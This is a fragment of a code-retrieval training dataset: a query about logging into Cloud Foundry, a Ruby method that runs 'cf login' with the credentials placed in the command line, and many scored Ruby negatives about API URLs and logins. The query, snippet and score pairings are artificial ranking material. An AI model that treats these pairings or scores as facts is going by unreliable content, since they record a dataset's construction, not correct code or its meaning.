"0.6134499",
"0.6124009",
"0.61170065",
"0.6107336",
"0.6098177",
"0.60938376",
"0.6092155",
"0.60848486",
"0.6080571",
"0.6069977",
"0.60560703",
"0.6055983",
"0.6050916",
"0.60394454",
"0.60384613",
"0.60233486",
"0.6021571",
"0.6021571",
"0.601942",
"0.60121465",
"0.6000375",
"0.5982364",
"0.59747905",
"0.59747905",
"0.59747905",
"0.5971045",
"0.5957595",
"0.595683",
"0.5956517",
"0.5946171",
"0.59319663",
"0.5924079",
"0.5920977",
"0.59167254",
"0.5916208",
"0.59144384",
"0.58998835",
"0.58989644",
"0.5898405",
"0.5883358",
"0.5882186",
"0.5882026",
"0.58809125",
"0.5879653",
"0.58791935",
"0.58787507",
"0.5875312",
"0.5873838",
"0.58694214",
"0.58694214",
"0.58555883",
"0.5852518",
"0.58483744",
"0.5846435",
"0.58429253",
"0.5842026",
"0.5837468",
"0.5832794",
"0.58322865",
"0.5832243",
"0.5825908",
"0.58216256",
"0.58178496",
"0.5809744",
"0.58092344",
"0.58085066",
"0.5798001",
"0.5795959",
"0.5794756",
"0.5777957",
"0.57638884",
"0.57631946",
"0.5758644",
"0.5755094",
"0.575495",
"0.57496595",
"0.5747345",
"0.5743266",
"0.5742252",
"0.57374334",
"0.5734111",
"0.57330596",
"0.57312495",
"0.5729155",
"0.57272273"
] |
0.7330301
|
0
|
This method is used to prompt for getting api url and return the api url.
|
def get_api_url()
print "Enter the API URL(include http:// or https://)::".yellow
@api_url = gets.chomp
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def api_url\n @api_url ||=\"#{base_url}#{@options['api_url']}\"\n end",
"def api_url\n authentication_credentials_provided? ? \"https://api.gowalla.com\" : \"http://api.gowalla.com\"\n end",
"def api_url\n @api_url || DEFAULT_API_URL\n end",
"def api_url\n @api_url ||= \"https://api.neverbounce.com\"\n end",
"def api_url\n @api_url || DEFAULT_API_URL\n end",
"def url\n api_url\n end",
"def api_url\n api_key? ? base_url.concat(api_query_parameter) : base_url\n end",
"def api_url(url = nil)\n handle_url(:api, url)\n end",
"def url\n @url || API_ENDPOINT\n end",
"def api_url\n @api_url ||= URI.parse(\"#{super}?#{URI.encode_www_form(query_params)}\")\n end",
"def api_url\n if PagSeguro.developer?\n File.join PagSeguro.config[\"base\"], \"pagseguro_developer/confirm\"\n else\n API_URL\n end\n end",
"def api_url\n default = config('gist.default-url')\n\n @api_url ||= options.gist_api_url\n @api_url ||= default if default && defaults['api-url'].include?(default)\n @api_url ||= normalized_api_urls_from_config\n @api_url.tap { |api_url| set_credential_config_key(api_url) }\n end",
"def api_url\n @sandbox ? \"http://api.sandbox.freelancer.com\":\"http://api.freelancer.com\"\n end",
"def api_url\n \"#{protocol}://api:#{api_key}@#{host}/#{api_version}\"\n end",
"def api_uri\n @api_uri ||= URI(api_url)\n end",
"def api_url\n base_url.concat api_query_parameter\n end",
"def api_url\n base_url.concat api_query_parameter\n end",
"def api_url\n @@API_URL\n end",
"def api_url\n @api_url ||= URI.parse(::File.join(base_url, endpoint))\n end",
"def url_api\n Guidebox\n end",
"def api_url(url = '')\n configuration.api_base + url\n end",
"def api_base_url; @opts[:api_base_url]; end",
"def request_url\n base_url = \"http://#{api_host}#{PATH}?\"\n base_url << \"appid=#{app_id}\"\n base_url << \"&callname=#{call_name}\"\n base_url << \"&siteid=#{site_id}\"\n base_url << \"&version=#{API_VERSION}\"\n base_url\n end",
"def full_url\n char = (api_env('URL') =~ /\\?/).nil? ? '?' : '&'\n api_env('URL') + \"#{char}#{api_env('PARAM')}=#{login}\"\n end",
"def api_url\n return nil unless @auth\n\n if @auth.empty?\n warn \"There are no API configurations in #{@auth_file}\"\n return nil\n end\n\n if @auth.keys.size > 1\n warn \"There are #{@auth.keys.size} API configurations in #{@auth_file}\"\n return nil\n end\n\n @auth.keys.first\n end",
"def take_url\n puts 'Please enter the url'\n gets.chomp\nend",
"def api_url\n 'https://api.geoloqi.com'\n end",
"def api_token\n api_token = @options[:api_token] || Git.get_config(KEY_API_TOKEN, :inherited)\n\n if api_token.blank?\n api_token = ask('Pivotal API Token (found at https://www.pivotaltracker.com/profile): ').strip\n Git.set_config(KEY_API_TOKEN, api_token, :local) unless api_token.blank?\n puts\n end\n\n api_token\n end",
"def api_query_parameter\n \"?apiKey=#{api_key}&longUrl=#{url}\"\n end",
"def api_uri\n @api_uri ||= URI.parse(api_endpoint)\n end",
"def api_url\n ensure_full_data!\n @gapi[\"selfLink\"]\n end",
"def apiAuth\n\t\tsignature = \"version=#{$CONFIG[:api_version]}&path=#{$CONFIG[:api_path]}&app_key=#{$CONFIG[:app_key]}&app_secret=#{$CONFIG[:app_secret]}×tamp=#{$CONFIG[:timestamp]}\"\n\t\tsignature_hash = Digest::SHA2.new << signature\n\t\turl = \"#{$CONFIG[:api_url]}#{$CONFIG[:api_version]}#{$CONFIG[:api_path]}?app_key=#{$CONFIG[:app_key]}×tamp=#{$CONFIG[:timestamp]}&signature=#{signature_hash}\"\n\t\n\t\turl\n\tend",
"def fetch(api, options = {})\n options = options.dup\n \n unless options.delete(:validate) === false\n validate_options(api, options)\n end\n\n options = options.reverse_merge(\n :api_key => self.api_key,\n :version => self.version\n )\n \n url = create_url(api, options)\n \n begin\n open(url)\n rescue OpenURI::HTTPError => e\n if e.to_s =~ /^401/\n raise InvalidApiKeyError.new(self.api_key)\n else\n raise\n end\n end\n end",
"def api_url\n raise NotImplementedError, \"#{self.class} must implement #api_url!\"\n end",
"def api_request(input_args)\n addr = URI(api_url)\n parms = input_args.clone\n parms = api_defaults.merge(parms)\n addr.query = URI.encode_www_form(parms)\n JSON.parse(Net::HTTP.get(addr))\n end",
"def initial_url\n options.fetch(:url) { \"https://#{FaaInfo.domain}/\" }\n end",
"def get_api_url\n\t\t\t\"https://#{club_name}.tidyhq.com/api/v1/\"\n\t\tend",
"def do_get\n Net::HTTP.get(URI.parse(api_url))\n end",
"def api_uri\n raise Exceptions::BadlyConfigured.new if @api_uri.empty? || @api_uri.nil? || @api_uri == '/'\n @api_uri\n end",
"def api_url\n \"#{@@base_url}/#{format}/#{resource}?apikey=#{@@api_key}#{parameters}\"\n end",
"def api_url\n ENV.fetch('GLIMR_API_URL',\n 'https://glimr-api.taxtribunals.dsd.io/Live_API/api/tdsapi')\n end",
"def construct_url\n @@API_URL + city + @@API_KEY\n end",
"def url\n return @url if @url\n\n case environment\n when :production\n PRODUCTION_API_ENDPOINT\n when :sandbox\n SANDBOX_API_ENDPOINT\n end\n end",
"def getUrl(url)\n puts url if @options[\"show-url\"]\n RestClient.get(url)\n end",
"def pull_request_url(api_url)\n # https://api.github.com/repos/typed-ember/ember-cli-typescript/pulls/334\n api_index = api_url.index(\"api\")\n repos_index = api_url.index(\"repos\")\n pulls_index = api_url.index(\"pulls\")\n\n # https://github.com/typed-ember/ember-cli-typescript/pull/334\n html_url = api_url[0..api_index - 1] +\n api_url[api_index + \"api.\".length..repos_index - 1] +\n api_url[repos_index + \"repos/\".length..pulls_index + \"pull\".length - 1] +\n api_url[pulls_index + \"pulls\".length..-1]\n html_url\n end",
"def save_git_url\n puts \"\\nPlease enter your #{@git_service} url :\"\n puts 'example: http://gitlab.example.com/'\n puts '-----------------------------------'\n\n begin\n input = STDIN.gets.chomp\n exit! if input == 'quit'\n # force scheme if not specified\n # TODO - Find a way to clear this... Find the correct scheme.\n if input.start_with?('gitlab.com')\n input = \"https://#{input}\"\n elsif !input.start_with?('http://', 'https://')\n input = \"http://#{input}\"\n end\n # Call the entered url to know if it exist or not.\n # If not, would raise an exception\n get(url: input)\n input\n rescue Interrupt\n exit!\n rescue Exception\n puts \"\\nOops, seems to be a bad url. Try again or quit (quit)\"\n save_git_url\n end\n end",
"def api_endpoint\n @api_endpoint ||= DEFAULT_API_ENDPOINT\n end",
"def api\n @api\n end",
"def set_api_url(url)\n @api_url = url\n end",
"def api_host #:nodoc:\n API_URI\n end",
"def get(api)\n\t\t\tvalidate_api(api)\n\t\t\tparams = set_default_params(api[:params])\n\t\t\tquery = hash_to_querystring(params)\n\t\t\turl = \"#{api[:path]}?#{query}\"\n\t\t\tresponse = @http.get(url)\n\t\t\tputs \"#{response.code} - #{response.message}: #{api[:path]} \"\n\t\t\tcheck_cookie(response)\n\t\t\treport_error(response)\n\t\t\tresponse\n\t\tend",
"def api_endpoint\n @api_endpoint ||= ENDPOINTS[:sandbox][:api]\n end",
"def select_api_url(urls)\n unless $stdin.tty?\n $stderr.puts \"Multiple API Endpoints found but STDIN is not a TTY - cannot request endpoint selection.\"\n $stderr.puts \"Please rerun and specify the api provider you wish to use with --api-url\"\n exit 1\n end\n\n choose do |menu|\n menu.prompt = \"\\nMultiple API Endpoints found in configuration. Which do you want to use? \"\n menu.choices(*urls)\n end\n end",
"def base_url\n \"https://api.yelp.com/v3/\"\n end",
"def search_get_url(user_input)\n fetch_json_from_url(GOOGLE_API_SEARCH_URL + user_input.to_s)\n end",
"def http_get(end_point)\n uri= URI.parse \"#{@main_url}#{end_point}\"\n http = Net::HTTP.new(uri.host, uri.port)\n request = Net::HTTP::Get.new(uri.request_uri)\n request.basic_auth(@username, @api_key)\n response = http.request(request)\n response.body\nend",
"def base_url\n BASE_URL.dup % [\"%s\", \"%s\", @api_key, \"%s\"] \n end",
"def request (url_requested, api_key)\n url_builded = url_requested + \"&api_key=\" + api_key\n\n url = URI(url_builded)\n\n https = Net::HTTP.new(url.host, url.port)\n https.use_ssl = true\n\n request = Net::HTTP::Get.new(url)\n\n response = https.request(request)\n\n JSON.parse(response.read_body)\nend",
"def url\n # BONUS: instead of returnng nil return a placeholder url that shows a \"No interative selecte yet\" message\n # in both authoring and runtime\n return nil unless library_interactive\n # BONUS: parse library_interactive.base_url query parameters and merge them with url_fragment query parameters\n # NOTE: the url is also constructed in the react form editor, any changes here should also be done in\n # managed-interactives-authoring.tsx\n \"#{library_interactive.base_url}#{url_fragment}\"\n end",
"def api_endpoint\n case current_user.environment\n when 'int', 'integration'\n 'http://newapi.int.brandwatch.com'\n when 'rel', 'release', 'stage'\n 'http://newapi.rel.brandwatch.com'\n else\n 'http://newapi.brandwatch.com'\n end\n end",
"def api_key; @opts[:api_key]; end",
"def api_uri\n options.endpoint\n end",
"def base_url\n \"https://api.twitter.com\"\n end",
"def api_path\n @api_path ||= find_api_path(base_uri)\n end",
"def api_token\n api_token = Util::Git.get_config KEY_API_TOKEN, :inherited\n if api_token.empty?\n api_token = ask('Pivotal API Token (found at https://www.pivotaltracker.com/profile): ').strip\n Util::Git.set_config KEY_API_TOKEN, api_token, :global\n puts\n end\n self.check_config_project_id\n\n api_token\n end",
"def get_api_key_storage_preference\n io.puts \"\"\n io.puts IO::Messages.separator\n io.puts \"\"\n io.puts \"For production/staging would you like to store your Timber API key\"\n io.puts \"in an environment variable? (TIMBER_API_KEY)\"\n io.puts \"\"\n io.puts \"y) Yes, store in TIMBER_API_KEY\", :blue\n io.puts \"n) No, just paste the API key inline\", :blue\n io.puts \"\"\n\n case io.ask_yes_no(\"Enter your choice:\", event_prompt: \"Store API key in env?\")\n when :yes\n io.puts \"\"\n io.puts IO::Messages.http_environment_variables(api.api_key)\n io.puts \"\"\n\n io.ask_to_proceed\n\n :environment\n when :no\n :inline\n end\n end",
"def get_api_url(endpoint)\n @api_base_url + endpoint\n end",
"def endpoint_url\n # @@api_base + @request.endpoint\n ApiBase + @endpoint\n end",
"def call_API\n case @input[:type]\n when :text\n @input = @input[:value]\n call_text_API\n when :url\n @input = @input[:value]\n call_URL_API\n else\n \"Invalid input\"\n end\n end",
"def api_url\n \"https://connect.gettyimages.com/v1\"\n end",
"def api_url=(value)\n raise TypeError, 'api_url must be a String or respond_to #to_s' unless value.is_a?(String) || value.respond_to?(:to_s)\n \n @api_url = value.to_s\n end",
"def get_api_key\n \n green \"****************************************\"\n green \"****************************************\"\n green \"**** API SETUP TIME! ****\"\n green \"****************************************\"\n green \"****************************************\" \n\n\n puts \"\\n\\nWelcome to Chatterbot. Let's walk through the steps to get a bot running.\\n\\n\"\n\n\n #\n # At this point, we don't have any API credentials at all for\n # this bot, but it's possible the user has already setup an app.\n # Let's ask!\n #\n \n puts \"Hey, looks like you need to get an API key from Twitter before you can get started.\\n\\n\"\n \n app_already_exists = ask_yes_no(\"Have you already set up an app with Twitter?\")\n\n if app_already_exists\n puts \"Terrific! Let's get your bot running!\\n\\n\"\n else\n puts \"OK, I can help with that!\\n\\n\"\n send_to_app_creation\n end\n\n \n print \"\\n\\nPaste the 'Consumer Key' here: \"\n STDOUT.flush\n config[:consumer_key] = STDIN.readline.chomp.strip\n\n print \"Paste the 'Consumer Secret' here: \"\n STDOUT.flush\n config[:consumer_secret] = STDIN.readline.chomp.strip\n\n\n puts \"\\n\\nNow it's time to authorize your bot!\\n\\n\"\n \n if ! app_already_exists && ask_yes_no(\"Do you want to authorize a bot using the account that created the app?\")\n puts \"OK, on the app page, you can click the 'Create my access token' button to proceed.\\n\\n\"\n\n print \"Paste the 'Access Token' here: \"\n STDOUT.flush\n config[:access_token] = STDIN.readline.chomp.strip\n\n\n print \"\\n\\nPaste the 'Access Token Secret' here: \"\n STDOUT.flush\n config[:access_token_secret] = STDIN.readline.chomp.strip\n\n \n # reset the client so we can re-init with new OAuth credentials\n reset_client\n\n # at this point we should have a fully validated client, so grab\n # the screen name\n @screen_name = client.user.screen_name rescue nil\n else\n reset_client\n end\n \n \n #\n # capture ctrl-c and exit without a stack trace\n #\n rescue Interrupt => e\n exit\n end",
"def api_profile_url_helper\n return api_profile_url if api_profile_url.to_s =~ /^https?/\n # API SETUP\n return case provider\n when 'facebook' then\n \"#{API_URL[provider]}/#{uid}\"\n when 'flickr' then\n \"#{API_URL[:flickr]}people/#{uid}\"\n when 'foursquare' then\n \"#{API_URL[provider]}/user/#{uid}\"\n when 'google_oauth2' then\n \"#{API_URL[provider]}#{uid}/posts\"\n else\n nil\n end\n end",
"def api_profile_url_helper\n return api_profile_url if api_profile_url.to_s =~ /^https?/\n # API SETUP\n return case provider\n when 'facebook' then\n \"#{API_URL[provider]}/#{uid}\"\n when 'flickr' then\n \"#{API_URL[:flickr]}people/#{uid}\"\n when 'foursquare' then\n \"#{API_URL[provider]}/user/#{uid}\"\n when 'google_oauth2' then\n \"#{API_URL[provider]}#{uid}/posts\"\n else\n nil\n end\n end",
"def base_url\n \"https://api.beezup.com/\"\n end",
"def api_prefix\n @api_url || DEFAULT_API_PREFIX\n end",
"def request_url(requirelogin=false, requireuserinfo=false, expirationdays=30, notifyonupload=false)\n end",
"def get_ApprovalURL()\n \t return @outputs[\"ApprovalURL\"]\n \tend",
"def request_url(requirelogin=false, requireuserinfo=false, expirationdays=30, notifyonupload=false)\n end",
"def inspect\n \"API key hidden for protection. Using the target URL #{@base_url}\"\n end",
"def get_api_url_for(path)\n\t\treturn ('https://api.spotify.com' << path)\n\tend",
"def api_base_url\n \"https://#{platform}.api.riotgames.com\"\n end",
"def call_api\n @client.build_url\n @client.get\n assign_data\n end",
"def api\n @api ||= Octokit::Client.new(:login => login, :oauth_token => token)\n end",
"def url\n @url ||= args.dig(:url)\n end",
"def request(url,token = nil)\n url = URI(\"#{url}&api_key=#{token}\") # se quita uri y parentesis\n #puts url_string\n \n \n https = Net::HTTP.new(url.host, url.port)\n https.use_ssl = true\n request = Net::HTTP::Get.new(url)\n response = https.request(request)\n data = JSON.parse(response.read_body)\n #puts data\nend",
"def endpoint\n \"http://api.urlvoid.com/#{identifier}/#{api_key}\"\n end",
"def api_endpoint(base_url = nil)\n base_url ||= base_github_api_url_for_remote\n if /github.com/ !~ base_url\n \"#{base_url}/api/v3\"\n else\n Octokit::Default::API_ENDPOINT\n end\n end",
"def issue_url(api_url)\n # \"https://api.github.com/repos/typed-ember/ember-cli-typescript/issues/322\"\n api_index = api_url.index(\"api\")\n repos_index = api_url.index(\"repos\")\n\n # https://github.com/typed-ember/ember-cli-typescript/issues/322\n html_url = api_url[0..api_index - 1] +\n api_url[api_index + \"api.\".length..repos_index - 1] +\n api_url[repos_index + \"repos/\".length..-1]\n html_url\n end",
"def api_url_method\n if params[:public_api_request]\n method(:content_item_api_url)\n else\n method(:content_item_url)\n end\n end",
"def api\n return @api\n end",
"def api_url time=nil\n today = Time.now\n [ \n \"#{config.protocol}:/\", \n API_URL, \n time && (time.year != today.year || time.yday != today.yday) ? \"historical/#{time.strftime(\"%Y-%m-%d\")}.json\" : \"latest.json\"\n ].join('/') + \"?app_id=#{config.app_id}\"\n end",
"def base_url\n URI::HTTPS.build(host: @server, port: @port, path: @api)\n end",
"def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end",
"def base_url\n \"http#{configuration[:secure] ? 's' : ''}://#{configuration[:api_url]}/v#{configuration[:api_version]}\"\n end",
"def url\n @url ||= params['url']\n end",
"def get_api endpoint\n\turi = URI.parse(\"http://#{@HOST}:#{@HTTP}#{endpoint}\")\n\trequest = Net::HTTP::Get.new(uri)\n\trequest[\"Accept\"] = \"application/json\"\n\toptions = { use_ssl: uri.scheme == \"https\" }\n\tresponse = Net::HTTP.start(uri.hostname, uri.port, options) do |http|\n\t\thttp.request(request)\n\tend\nend",
"def base_url\n ENV['HERMES_API_URL'] || 'https://hermes.mythcoders.net/api'\n end",
"def rackspace_api_key\n Fog.credentials[:rackspace_api_key] || get_user_input(\"Enter Rackspace API key\")\nend",
"def rackspace_api_key\n Fog.credentials[:rackspace_api_key] || get_user_input(\"Enter Rackspace API key\")\nend"
] |
[
"0.7048653",
"0.6941984",
"0.6929423",
"0.68975925",
"0.68714154",
"0.6847141",
"0.6720983",
"0.6614052",
"0.65354437",
"0.6501432",
"0.64943826",
"0.6483023",
"0.64439386",
"0.6411442",
"0.6397988",
"0.6387811",
"0.6387811",
"0.63397723",
"0.63294625",
"0.63226765",
"0.62843406",
"0.62825376",
"0.6266749",
"0.62635344",
"0.6219291",
"0.6177598",
"0.6170509",
"0.61528784",
"0.61196136",
"0.60802317",
"0.60734606",
"0.6052155",
"0.6037496",
"0.6032793",
"0.6003944",
"0.5973007",
"0.5968581",
"0.59569466",
"0.5935399",
"0.5927121",
"0.5922804",
"0.59091157",
"0.5869746",
"0.5829969",
"0.58268386",
"0.5822409",
"0.5821566",
"0.58160526",
"0.5791517",
"0.57894254",
"0.57862294",
"0.5786175",
"0.5784556",
"0.57688636",
"0.57596594",
"0.57462573",
"0.57456267",
"0.5742462",
"0.5737819",
"0.5726249",
"0.5723322",
"0.5718236",
"0.5710549",
"0.57087874",
"0.57086414",
"0.5705138",
"0.5694103",
"0.5692143",
"0.5689697",
"0.5660355",
"0.5657571",
"0.5657473",
"0.5654013",
"0.5654013",
"0.56499624",
"0.56458557",
"0.56279016",
"0.5621681",
"0.56167763",
"0.56119233",
"0.5607284",
"0.56055236",
"0.55955666",
"0.55924344",
"0.5590242",
"0.558776",
"0.5587511",
"0.5585982",
"0.55814666",
"0.5558239",
"0.5554794",
"0.555386",
"0.5548849",
"0.5547772",
"0.5547772",
"0.5547482",
"0.5546106",
"0.55347025",
"0.55340743",
"0.55340743"
] |
0.81253964
|
0
|
This method is used to login into cloud foundry account using api url, username, password, organization name, space name.
|
def cf_login()
command = system("cf login -a #{@api_url} -u #{@uaa_username} -p #{@uaa_password} -o #{@organization_name} -s #{@space_name}")
if command == true
puts "Successfully loggned on as #{@uaa_username}".green
else
abort("Invalid credentials".red)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def login_0\n\n #definde needed header\n headers = {'Authorization' => \"Basic \" + @base_user_string}\n\n #Login\n response = request({:method => \"POST\", :url => @host + \"login\", :headers => headers})\n\n #Get organisation link\n @org_link = parse_content(response.body, '//Org')[0].attribute('href').to_s\n\n #Get authentication header key\n @auth_key = response.headers[:x_vcloud_authorization]\n\n end",
"def login\n run \"cf api --skip-ssl-validation api.#{ENV['CF_DOMAIN']}\"\n run \"cf auth #{ENV['CF_USERNAME']} #{ENV['CF_PASSWORD']}\"\nend",
"def login_5\n\n #definde needed header\n headers = {'Authorization' => \"Basic \" + @base_user_string, 'Accept' => 'application/*+xml;version=1.5'}\n\n #Login\n response = request({:method => \"POST\", :url => @host + \"session\", :headers => headers})\n\n #Get authentication header key\n @auth_key = response.headers[:x_vcloud_authorization]\n\n\n #Get organisation link\n parse_content(response.body, '//Session/Link').each do |org|\n\n if org.attribute('type')==\"application/vnd.vmware.vcloud.orgList+xml\"\n res = request({:url => org.attribute('href').to_s})\n @org_link = parse_content(res, '//OrgList/Org')[0].attribute('href').to_s\n end\n\n end\n\n end",
"def login\n params = {\n 'method' => :post,\n 'command' => '/sessions'\n }\n\n response, headers = send_request(params)\n\n if !headers.has_key?(:x_vcloud_authorization)\n raise \"Unable to authenticate: missing x_vcloud_authorization header\"\n end\n\n @auth_key = headers[:x_vcloud_authorization]\n end",
"def login\n params = {\n 'method' => :post,\n 'command' => '/sessions'\n }\n\n response, headers = send_request(params)\n\n if !headers.has_key?(:x_vcloud_authorization)\n raise \"Unable to authenticate: missing x_vcloud_authorization header\"\n end\n\n extensibility_link = response.css(\"Link[rel='down:extensibility']\")\n @extensibility = extensibility_link.first['href'] unless extensibility_link.empty?\n\n @auth_key = headers[:x_vcloud_authorization]\n end",
"def login\n params = {\n 'method' => :post,\n 'command' => '/sessions'\n }\n\n response, headers = send_request(params)\n\n if !headers.has_key?(:x_vcloud_authorization)\n raise \"Unable to authenticate: missing x_vcloud_authorization header\"\n end\n\n @auth_key = headers[:x_vcloud_authorization]\n end",
"def login\n res = @cloud.api.post('account/login-api', { Email: @email, ApiKey: @api_key }.to_json)\n @token = res['access_token']\n @created_at = DateTime.parse(res['.issued'])\n @expire_at = DateTime.parse(res['.expires'])\n @token\n end",
"def login_request(username, password)\n post(data['hosts']['auth'] + '/login', {\n headers: {\n 'Content-Type' => 'application/json'\n },\n body: {\n username: username,\n password: password\n }\n })\nend",
"def login()\n content = {\n 'Email' => @username,\n 'Passwd' => @password,\n 'source' => @app_name,\n 'accountType' => 'HOSTED_OR_GOOGLE',\n 'service' => 'cl'}\n\n response = send(Addressable::URI.parse(@auth_url), :post_form, content)\n\n raise HTTPRequestFailed unless response.kind_of? Net::HTTPSuccess\n\n @token = response.body.split('=').last\n @headers = {\n 'Authorization' => \"GoogleLogin auth=#{@token}\",\n 'Content-Type' => 'application/atom+xml'\n }\n @update_header = @headers.clone\n @update_header[\"If-Match\"] = \"*\"\n end",
"def http_auth_login\n # FIXME: Implement\n end",
"def call_rest_login\n print \"validating credentials...\" \n @uri.path = \"/nitro/v1/config/login/\"\n @request = Net::HTTP::Post.new(@uri)\n @request.add_field('Content-Type', 'application/vnd.com.citrix.netscaler.login+json')\n @request.body = { :login => { :username => \"#{@username}\", :password => \"#{@password}\" } }.to_json \n\n Net::HTTP.start(@uri.host, @uri.port) { |http|\n response = http.request(@request)\n if response.code == \"201\"\n print \"success!\\n\"\n else\n print \"fail!\\n\"\n print JSON.parse(response.body), \"\\n\"\n abort()\n end\n }\n end",
"def login()\n begin\n $platform.authorize( jwt: \"SANDBOX_JWT\" )\n send_fax()\n rescue StandardError => e\n puts (\"Unable to authenticate to platform. Check credentials.\" + e.to_s)\n end\nend",
"def login_cs_auth\n \n if params[:login_form]\n @login_form = LoginForm.new(params[:login_form])\n if @login_form.valid?\n \n # make sure their user in sfdc is active\n if CsApi::Account.activate(params[:login_form][:username])\n\n login_results = User.authenticate(current_access_token, params[:login_form][:username],\n params[:login_form][:password])\n\n if login_results[:user].nil?\n flash.now[:error] = cs_login_error_message(login_results[:message])\n render :action => 'login'\n else\n sign_in login_results[:user]\n if session[:redirect_to_after_auth].nil?\n redirect_to challenges_path\n else\n redirect_to session[:redirect_to_after_auth] \n end\n end\n \n else\n redirect_to login_denied_path\n end\n\n else\n # show the error message\n render :action => 'login'\n end\n else\n redirect_to login_path\n end\n \n end",
"def login(username, password, domain = 'local')\n form_data = {'action' => 'login', 'lgname' => username, 'lgpassword' => password, 'lgdomain' => domain}\n make_api_request(form_data)\n @password = password\n @username = username\n end",
"def login\n content = {\n 'Email' => @username,\n 'Passwd' => @password,\n 'source' => @app_name,\n 'accountType' => 'HOSTED_OR_GOOGLE',\n 'service' => 'cl'}\n\n response = send(Addressable::URI.parse(@auth_url), :post_form, content)\n\n raise HTTPRequestFailed unless response.kind_of? Net::HTTPSuccess\n\n @token = response.body.split('=').last\n @headers = {\n 'Authorization' => \"GoogleLogin auth=#{@token}\",\n 'Content-Type' => 'application/atom+xml'\n }\n @update_header = @headers.clone\n @update_header[\"If-Match\"] = \"*\"\n end",
"def login\n options = {\n type: 'OneView',\n file_env_var: 'ONEVIEW_AUTH_FILE',\n env_var_url: 'ONEVIEW_URL',\n filename: '/login.json'\n }\n credentials = load_authentication_settings(options)\n credentials[:hardware_variant] ||= 'C7000'\n credentials[:hardware_variant] = credentials[:hardware_variant].to_s.capitalize\n credentials\nend",
"def login\n debug 'Trying to login'\n _response = self.signed_request '/api/v1/login', 'POST', {\n user: $config.get_username,\n password: $config.get_password\n }\n\n if _response['status'] != 'success'\n puts 'Unable to login!'\n exit 1\n else\n debug 'Signed in successfully'\n end\n\n @auth_token = _response['data']['authToken']\n @user_id = _response['data']['userId']\n end",
"def login\n @rforce.login( @login , @password )\n end",
"def login(username, password)\n $rally = RallyRestAPI.new :username => username, :password => password\nend",
"def login\n @client = Octokit::Client.new(login: username, oauth_token: token)\n end",
"def login\n abakus_config = YAML.load(File.open(\"./config/_abakus_account.yaml\"))\n username = abakus_config['app']['username']\n password = abakus_config['app']['password']\n \n login_page = @agent.get(\"https://abakus.no/user/login/\")\n login_form = login_page.form_with(:action => \"/user/login/\")\n login_form.username = username\n login_form.password = password\n login_form.submit\n end",
"def sfdcauth\n client = Databasedotcom::Client.new(\"config/databasedotcom.yml\")\n ENV['access_token'] = client.authenticate :username => ENV['sfdc_username'], :password => ENV['sfdc_password']\n render :inline => \"<html><body><b>New access token from salesforce. Saved to session.</b><br>\"+ENV['access_token']+\"</body></html>\"\n end",
"def login (login = nil, password = nil, account_id=nil, external_auth=nil, domain=nil)\n\n if (login != nil && password == nil)\n # user given --> use generic user password\n # TODO: generate password (see https://forge.switch.ch/redmine/issues/2355)\n password = @pointconfig[\"generic_user_password\"]\n elsif (login == nil) && (password == nil)\n login = @pointconfig[\"username\"]\n password = @pointconfig[\"password\"]\n end\n\n res = query(\"login\",\n \"login\" => login,\n \"password\" => password,\n \"account-id\" => account_id,\n \"external-auth\" => external_auth,\n \"domain\" => domain)\n\n cookies = res.response[\"set-cookie\"]\n puts cookies.inspect\n cookies.split(\";\").each{|s|\n array = s.split(\"=\")\n if array[0] == \"BREEZESESSION\"\n @sessionid = array[1]\n end\n }\n puts \"ACS: Logged in\"\n return res.body\n end",
"def adminapi_login user, password, use_rds\r\n vprint_status \"Attempting ColdFusion Administrator adminapi login\"\r\n user ||= ''\r\n password ||= ''\r\n res = send_request_cgi(\r\n {\r\n 'uri' => normalize_uri(target_uri.path, %w(CFIDE adminapi administrator.cfc)),\r\n 'method' => 'POST',\r\n 'connection' => 'TE, close',\r\n 'vars_post' => {\r\n 'method' => 'login',\r\n 'adminUserId' => user,\r\n 'adminPassword' => password,\r\n 'rdsPasswordAllowed' => (use_rds ? '1' : '0')\r\n }\r\n })\r\n\r\n if res\r\n if res.code == 200\r\n vprint_status \"HTTP #{res.code} when authenticating\"\r\n return get_useful_cookies(res)\r\n else\r\n print_error \"HTTP #{res.code} when authenticating\"\r\n end\r\n else\r\n print_error \"No response when authenticating\"\r\n end\r\n\r\n {}\r\n end",
"def login\n response = @session.create\n @auth_token = response[\"token\"]\n @rest.default_headers = { 'Content-Type' => 'application/json', 'Auth-Token' => @auth_token }\n response\n end",
"def connect\n require 'restforce' unless defined?(::Restforce)\n username = additional_params[:username] || \"\"\n password = additional_params[:password] || \"\"\n security_token = additional_params[:security_token] || \"\"\n client_id = additional_params[:client_id] || \"\"\n client_secret = additional_params[:client_secret] || \"\"\n instance_url = additional_params[:instance_url] || \"\"\n\n @client = Restforce.new(\n username: username,\n password: password,\n security_token: security_token,\n client_id: client_id,\n client_secret: client_secret,\n instance_url: instance_url\n )\n\n @oauth = @client.authenticate!\n super\n end",
"def login\n @login ||= begin\n client.user.login\n rescue Octokit::Unauthorized, Faraday::ConnectionFailed\n nil\n end\n end",
"def login\n request_params = {\n host_url_with_protocol: host_url_with_protocol,\n host_url: host_url,\n entity_type: GlobalConstant::TemplateType.login_template_type\n }\n service_response = GlobalConstant::StTokenSale.get_client_details(request_params)\n\n # Check if error present or not?\n unless service_response.success?\n render_error_response(service_response)\n return\n end\n\n @presenter_obj = ::Web::Client::Setup.new(service_response, params)\n redirect_to '/token-sale-blocked-region', status: GlobalConstant::ErrorCode.temporary_redirect and return if @presenter_obj.is_blacklisted_ip?(get_ip_to_aml_countries)\n set_page_meta_info(@presenter_obj.custom_meta_tags)\n end",
"def login\n response = client.call :login, :message => { :username => username, :password => password }\n response.body[:login_response][:result]\n end",
"def loginToSalesforce()\n #puts \"in AccountAssignmentFromLead:loginToSalesforce\"\n @driver.get \"https://test.salesforce.com/login.jsp?pw=#{@mapCredentials['Staging']['WeWork NMD User']['password']}&un=#{@mapCredentials['Staging']['WeWork NMD User']['username']}\"\n #switchToClassic(@driver)\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",@timeSettingMap['Wait']['Environment']['Lightening']['Max'])\n return true\n #EnziUIUtility.wait(@driver,:id, \"phHeaderLogoImage\",60)\n rescue Exception => e\n puts e\n return false\n end",
